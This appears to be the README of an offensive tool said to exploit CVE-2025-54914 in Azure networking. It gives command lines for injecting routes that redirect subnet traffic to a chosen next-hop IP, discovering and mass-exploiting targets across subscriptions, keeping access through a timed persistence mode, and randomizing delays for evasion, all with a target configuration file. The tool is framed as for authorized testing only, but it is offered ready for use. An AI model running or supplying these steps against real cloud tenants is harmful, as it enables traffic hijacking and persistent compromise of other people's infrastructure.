
This is an improved implementation of the CVE-2025-54914 Azure Networking Route exploit. This version maintains the core CVE functionality while adding more features including persistence, evasion, multi-target scanning, and error handling.
# Install Python dependencies
pip install requests
# Install Azure CLI (for authentication)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Make scripts executable
chmod +x exploit.py
chmod +x exploit_utils.py
# Authenticate with Azure
az login
# Create route on single target
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Delete route
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--route-name "exploit-route-1" \
--operation delete
# Create configuration file
python exploit_utils.py discover --output targets.json
# Exploit all targets
python exploit.py --targets-file targets.json --operation create
# Scan targets without exploitation
python exploit.py --targets-file targets.json --scan-only
# Enable persistence with 30-minute intervals
python exploit.py --targets-file targets.json --persistence-mode --interval 30
# Custom delay ranges for evasion
python exploit.py \
--targets-file targets.json \
--delay-min 1.0 \
--delay-max 5.0 \
--max-workers 5
# Test without actual exploitation
python exploit.py --targets-file targets.json --dry-run
# Enable debug logging
python exploit.py \
--targets-file targets.json \
--log-level DEBUG \
--log-file exploit.log
{
"targets": [
{
"subscription_id": "12345678-1234-1234-1234-123456789012",
"resource_group": "production-rg",
"vnet_name": "prod-vnet",
"subnet_name": "prod-subnet",
"route_name": "exploit-route-1",
"address_prefix": "10.0.1.0/24",
"next_hop_type": "VirtualAppliance",
"next_hop_ip": "10.0.2.5",
"api_version": "2025-09-01",
"priority": 1
}
],
"metadata": {
"description": "Target configuration for CVE-2025-54914",
"created": "2025-01-09",
"version": "1.0"
}
}
# Azure access token (alternative to Azure CLI)
export AZURE_ACCESS_TOKEN="your_token_here"
# Log level
export LOG_LEVEL="INFO"
# Discover all accessible targets
python exploit_utils.py discover --output discovered_targets.json
# Discover specific subscriptions
python exploit_utils.py discover \
--subscription-ids "sub1" "sub2" \
--output targets.json \
--report discovery_report.txt
# Generate exploit configuration from discovered targets
python exploit_utils.py config \
--input discovered_targets.json \
--output exploit_config.json \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Analyze targets for risk assessment
python exploit_utils.py analyze \
--input targets.json \
--output vulnerability_report.txt
--dry-run first--max-workers based on system capacity# Re-authenticate with Azure
az login
# Check current account
az account show
# List accessible subscriptions
az account list
# Check required permissions
az role assignment list --assignee $(az account show --query user.name -o tsv)
# Test connectivity
curl -I https://management.azure.com
# Check proxy settings
echo $HTTP_PROXY
echo $HTTPS_PROXY
# Enable detailed logging
python exploit.py --log-level DEBUG --log-file debug.log
# Check log file
tail -f debug.log
⚠️ IMPORTANT: This tool is for authorized security testing only.
This project is licensed for research and educational use only. Commercial use requires explicit permission.
For issues and questions: